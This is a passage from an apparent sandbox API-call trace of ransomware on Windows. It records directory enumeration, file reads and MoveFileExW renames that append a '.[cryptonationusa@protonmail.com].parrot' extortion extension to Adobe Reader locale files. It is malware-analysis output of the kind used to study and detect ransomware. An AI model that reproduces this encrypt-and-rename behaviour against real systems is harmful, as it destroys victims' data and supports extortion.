lpNewFilePointer=0x0) returned 1 [0256.932] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2800, lpOverlapped=0x0) returned 1 [0256.932] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.933] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Spelling.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\spelling.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Spelling.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\spelling.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3320468 | out: hHeap=0x5b0000) returned 1 [0256.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0256.937] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.937] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.938] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.938] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2800, lpOverlapped=0x0) returned 1 [0256.940] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.940] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Updater.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\updater.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Updater.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\updater.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.943] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3320468 | out: hHeap=0x5b0000) returned 1 [0256.943] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.943] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0256.946] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.946] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.948] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.948] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6e00, lpOverlapped=0x0) returned 1 [0256.949] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.949] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Weblink.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\weblink.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Weblink.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\weblink.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.952] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3320468 | out: hHeap=0x5b0000) returned 1 [0256.952] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.952] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0256.957] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0256.960] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2529e980, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x2529e980, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.961] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x24cd13e0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0xad28, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.HRV.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACCESS~1.PAR")) returned 1 [0256.961] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0256.963] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0256.963] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.963] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0256.963] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0256.963] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.HUN", cAlternateFileName="ACCESS~1.HUN")) returned 1 [0256.964] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.964] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.965] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.965] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xb000, lpOverlapped=0x0) returned 1 [0256.969] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.971] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\accessibility.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\accessibility.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\accessibility.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\accessibility.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.975] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33212f0 | out: hHeap=0x5b0000) returned 1 [0256.975] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.975] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0256.977] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.977] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.112] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.112] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x68600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x68600, lpOverlapped=0x0) returned 1 [0257.161] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.171] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Acroform.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\acroform.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Acroform.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\acroform.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.175] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33212f0 | out: hHeap=0x5b0000) returned 1 [0257.175] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.175] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0257.180] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.180] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.181] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.181] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0257.182] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.183] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\AdobeCollabSync.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\adobecollabsync.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\AdobeCollabSync.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\adobecollabsync.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0257.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0257.212] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.212] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.227] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.227] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7d600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7d600, lpOverlapped=0x0) returned 1 [0257.244] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.259] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Annots.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\annots.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Annots.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\annots.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339888 | out: hHeap=0x5b0000) returned 1 [0257.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0257.270] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.270] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.277] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.277] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3400, lpOverlapped=0x0) returned 1 [0257.287] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.289] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\BRdlang32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\brdlang32.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\BRdlang32.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\brdlang32.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.294] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33212f0 | out: hHeap=0x5b0000) returned 1 [0257.294] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.294] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0257.297] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.297] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.322] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.322] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1f600, lpOverlapped=0x0) returned 1 [0257.326] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.328] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Checkers.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\checkers.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Checkers.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\checkers.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33212f0 | out: hHeap=0x5b0000) returned 1 [0257.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0257.338] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.338] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.339] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.340] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x20000, lpOverlapped=0x0) returned 1 [0257.344] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.346] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\DigSig.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\digsig.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\DigSig.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\digsig.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.350] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339888 | out: hHeap=0x5b0000) returned 1 [0257.350] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.350] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0257.355] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.355] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.395] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.396] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4a00, lpOverlapped=0x0) returned 1 [0257.400] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.401] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\DVA.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\dva.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\DVA.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\dva.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339888 | out: hHeap=0x5b0000) returned 1 [0257.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0257.407] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.408] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.409] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.409] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1c00, lpOverlapped=0x0) returned 1 [0257.410] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.411] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\eBook.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\ebook.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\eBook.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\ebook.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339888 | out: hHeap=0x5b0000) returned 1 [0257.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0257.417] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.417] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.418] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.418] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa200, lpOverlapped=0x0) returned 1 [0257.420] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, 